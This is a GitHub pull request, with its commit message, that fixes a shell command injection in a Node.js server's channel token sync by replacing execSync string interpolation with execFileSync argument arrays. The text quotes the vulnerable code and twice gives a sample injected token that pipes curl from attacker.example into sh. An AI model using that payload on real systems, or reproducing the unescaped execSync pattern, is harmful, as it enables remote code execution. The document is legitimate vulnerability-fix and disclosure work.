Skip to content

Fix shell command injection in channel token sync - #116

Open
jay79-boop wants to merge 1 commit into
chrysb:mainfrom
jay79-boop:fix/gateway-channel-token-shell-injection
Open

Fix shell command injection in channel token sync#116
jay79-boop wants to merge 1 commit into
chrysb:mainfrom
jay79-boop:fix/gateway-channel-token-shell-injection

Conversation

@jay79-boop

Copy link
Copy Markdown

Summary

syncChannelConfig() in lib/server/gateway.js built its openclaw channels add/remove commands as interpolated shell strings and ran them with execSync() (which executes via /bin/sh -c):

execSync(`openclaw channels add --channel ${ch} --token "${token}"`, ...)
execSync(`openclaw channels add --channel slack --bot-token "${token}" --app-token "${appToken}"`, ...)

token/appToken come from saved env var values (channel bot tokens), wrapped in double quotes but never escaped. A value containing ", $, or a backtick breaks out of the quoted argument and lets the rest of the string execute as additional shell commands — e.g. a token of abc" ; curl attacker.example | sh ; echo " becomes a second, attacker-chosen command run by the same process. (ch itself is always one of the hardcoded kChannelDefs keys, so that part was never at risk — only the token values.)

This function runs both from the authenticated PUT /api/env handler (routes/system.js) and unconditionally at every server startup, reading straight from .env on disk (startup.js: syncChannelConfig(readEnvFile())). So it's reachable by whatever produced the token value currently in .env — not only by someone hand-typing into the Envars UI. (Onboarding's config-import flow, for one, can seed .env from an external source.)

The rest of this codebase already handles this correctly elsewhere — agents/channels.js escapes every token via shellEscapeArg() before building its clawCmd() strings. This one code path (bulk env-var-driven channel sync) never got the same treatment.

Fix

Switched to execFileSync() with the token/appToken passed as separate argv entries, which never goes through a shell at all — the same approach already used correctly in routes/browse/git.js — rather than trying to get manual shell-quoting right.

Test plan

  • Added tests/server/gateway.test.js coverage proving a token containing shell metacharacters (", ;, backticks) is passed through as a single, literal argv element for both the generic (--token) and Slack (--bot-token/--app-token) code paths.
  • Full gateway.test.js suite passes unchanged (the 6 pre-existing failures on this run are unrelated Windows-path artifacts, not caused by this change).

syncChannelConfig() built its `openclaw channels add`/`remove` commands
as interpolated shell strings and ran them with execSync(), which
executes via `/bin/sh -c`:

  execSync(`openclaw channels add --channel ${ch} --token "${token}"`, ...)
  execSync(`openclaw channels add --channel slack --bot-token "${token}" --app-token "${appToken}"`, ...)

`token`/`appToken` come from saved env var values (channel bot tokens),
wrapped in double quotes but never escaped. A value containing `"`,
`$`, or a backtick breaks out of the quoted argument and lets the rest
of the string run as additional shell commands -- e.g. a token of
`abc" ; curl attacker.example | sh ; echo "` becomes a second,
attacker-chosen command executed by the same process.

This function runs both from the authenticated PUT /api/env handler
(routes/system.js) and unconditionally at server startup reading
straight from the .env file on disk (startup.js), so it's reachable
by whatever produced the token value in .env, not only by someone
directly typing into the Envars UI (e.g. onboarding's config-import
flow can seed .env from an external source).

The rest of this codebase already handles this correctly elsewhere --
agents/channels.js escapes every token via shellEscapeArg() before
building its clawCmd() strings. This one code path never got the same
treatment.

Fixed by switching to execFileSync() with the token/appToken passed as
separate argv entries, which never goes through a shell at all (same
approach already used correctly in routes/browse/git.js), rather than
trying to get manual shell-quoting right.

Added tests/server/gateway.test.js coverage proving a token containing
shell metacharacters is passed through as a single, literal argv
element for both the generic (--token) and Slack (--bot-token/--app-token)
code paths.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant